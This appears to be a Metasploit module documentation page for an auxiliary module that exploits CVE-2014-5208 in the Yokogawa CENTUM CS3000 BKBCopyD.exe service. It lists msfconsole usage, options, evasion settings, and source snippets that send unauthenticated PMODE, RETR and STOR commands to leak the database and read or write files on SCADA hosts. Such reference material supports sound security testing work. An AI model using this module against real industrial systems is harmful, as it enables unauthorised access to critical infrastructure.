Yokogawa BKBCopyD.exe Client - Metasploit
This page contains detailed information about how to use the auxiliary/admin/scada/yokogawa_bkbcopyd_client metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Yokogawa BKBCopyD.exe Client
Module: auxiliary/admin/scada/yokogawa_bkbcopyd_client
Source code: modules/auxiliary/admin/scada/yokogawa_bkbcopyd_client.rb
Disclosure date: 2014-08-09
Last modification time: 2022-03-10 10:28:25 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 20111
List of CVEs: CVE-2014-5208
This module allows an unauthenticated user to interact with the Yokogawa CENTUM CS3000 BKBCopyD.exe service through the PMODE, RETR and STOR operations.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/admin/scada/yokogawa_bkbcopyd_client
msf auxiliary(yokogawa_bkbcopyd_client) > show targets
... a list of targets ...
msf auxiliary(yokogawa_bkbcopyd_client) > set TARGET target-id
msf auxiliary(yokogawa_bkbcopyd_client) > show options
... show and set options ...
msf auxiliary(yokogawa_bkbcopyd_client) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Go back to menu.
Msfconsole Usage
Here is how the admin/scada/yokogawa_bkbcopyd_client auxiliary module looks in the msfconsole:
msf6 > use auxiliary/admin/scada/yokogawa_bkbcopyd_client
msf6 auxiliary(admin/scada/yokogawa_bkbcopyd_client) > show info
Name: Yokogawa BKBCopyD.exe Client
Module: auxiliary/admin/scada/yokogawa_bkbcopyd_client
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2014-08-09
Provided by:
Unknown
Available actions:
Name Description
---- -----------
PMODE Leak the current database
RETR Retrieve remote file
STOR Store remote file
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
LPATH no The Local Path (required to STOR)
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPATH no The Remote Path (required to RETR and STOR)
RPORT 20111 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
Description:
This module allows an unauthenticated user to interact with the
Yokogawa CENTUM CS3000 BKBCopyD.exe service through the PMODE, RETR
and STOR operations.
References:
https://nvd.nist.gov/vuln/detail/CVE-2014-5208
https://blog.rapid7.com/2014/08/09/r7-2014-10-disclosure-yokogawa-centum-cs3000-bkbcopydexe-file-system-access
Module Options
This is a complete list of options available in the admin/scada/yokogawa_bkbcopyd_client auxiliary module:
msf6 auxiliary(admin/scada/yokogawa_bkbcopyd_client) > show options
Module options (auxiliary/admin/scada/yokogawa_bkbcopyd_client):
Name Current Setting Required Description
---- --------------- -------- -----------
LPATH no The Local Path (required to STOR)
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPATH no The Remote Path (required to RETR and STOR)
RPORT 20111 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
Advanced Options
Here is a complete list of advanced options supported by the admin/scada/yokogawa_bkbcopyd_client auxiliary module:
msf6 auxiliary(admin/scada/yokogawa_bkbcopyd_client) > show advanced
Module advanced options (auxiliary/admin/scada/yokogawa_bkbcopyd_client):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ListenerComm no The specific communication channel to use for this service
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the admin/scada/yokogawa_bkbcopyd_client module can do:
msf6 auxiliary(admin/scada/yokogawa_bkbcopyd_client) > show actions
Auxiliary actions:
Name Description
---- -----------
PMODE Leak the current database
RETR Retrieve remote file
STOR Store remote file
Evasion Options
Here is the full list of possible evasion options supported by the admin/scada/yokogawa_bkbcopyd_client auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(admin/scada/yokogawa_bkbcopyd_client) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Failed...
Here is a relevant code snippet related to the "Failed..." error message:
59: data = "PMODE MR_DBPATH\n"
60: res = send_pkt(data)
61: if res and res =~ /^210/
62: print_good("Success: #{res}")
63: else
64: print_error("Failed...")
65: end
66: return
67: when 'RETR'
68: data = "RETR #{datastore['RPATH']}\n"
69: print_status("Sending RETR packet...")
Incorrect action
Here is a relevant code snippet related to the "Incorrect action" error message:
73: data = "STOR #{datastore['RPATH']}\n"
74: print_status("Sending STOR packet...")
75: res = send_pkt(data)
76: return unless res and res =~ /^150/
77: else
78: print_error("Incorrect action")
79: return
80: end
81:
82: super # TCPServer :)
83: end
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #12949 Merged Pull Request: This fixes broken links to the community.rapid7.com blog
- #12354 Merged Pull Request: Remove targets from aux and post modules
- #11107 Merged Pull Request: Clean out
unless not
- #10276 Merged Pull Request: Update missing CVE references for auxiliary modules
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #3637 Merged Pull Request: Add Yokogawa unauth admin module
References
- CVE-2014-5208
- https://blog.rapid7.com/2014/08/09/r7-2014-10-disclosure-yokogawa-centum-cs3000-bkbcopydexe-file-system-access
See Also
Check also the following modules related to this module:
- auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli
- auxiliary/admin/scada/ge_proficy_substitute_traversal
- auxiliary/admin/scada/modicon_command
- auxiliary/admin/scada/modicon_password_recovery
- auxiliary/admin/scada/modicon_stux_transfer
- auxiliary/admin/scada/moxa_credentials_recovery
- auxiliary/admin/scada/multi_cip_command
- auxiliary/admin/scada/pcom_command
- auxiliary/admin/scada/phoenix_command
- auxiliary/dos/scada/yokogawa_logsvr
- exploit/windows/scada/yokogawa_bkbcopyd_bof
- exploit/windows/scada/yokogawa_bkesimmgr_bof
- exploit/windows/scada/yokogawa_bkfsim_vhfd
- exploit/windows/scada/yokogawa_bkhodeq_bof
- auxiliary/admin/atg/atg_client
- auxiliary/dos/scada/allen_bradley_pccc
- auxiliary/dos/scada/beckhoff_twincat
- auxiliary/dos/scada/d20_tftp_overflow
- auxiliary/dos/scada/igss9_dataserver
- auxiliary/dos/scada/siemens_siprotec4
- auxiliary/scanner/scada/bacnet_l3
- auxiliary/scanner/scada/digi_addp_reboot
- auxiliary/scanner/scada/digi_addp_version
- auxiliary/scanner/scada/digi_realport_serialport_scan
- auxiliary/scanner/scada/digi_realport_version
- auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess
- auxiliary/scanner/scada/koyo_login
- auxiliary/scanner/scada/modbus_banner_grabbing
- auxiliary/scanner/scada/modbusclient
- auxiliary/scanner/scada/modbusdetect
- auxiliary/scanner/scada/modbus_findunitid
- auxiliary/scanner/scada/moxa_discover
- auxiliary/scanner/scada/pcomclient
- auxiliary/scanner/scada/profinet_siemens
- auxiliary/scanner/scada/sielco_winlog_fileaccess
Authors
- Unknown
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.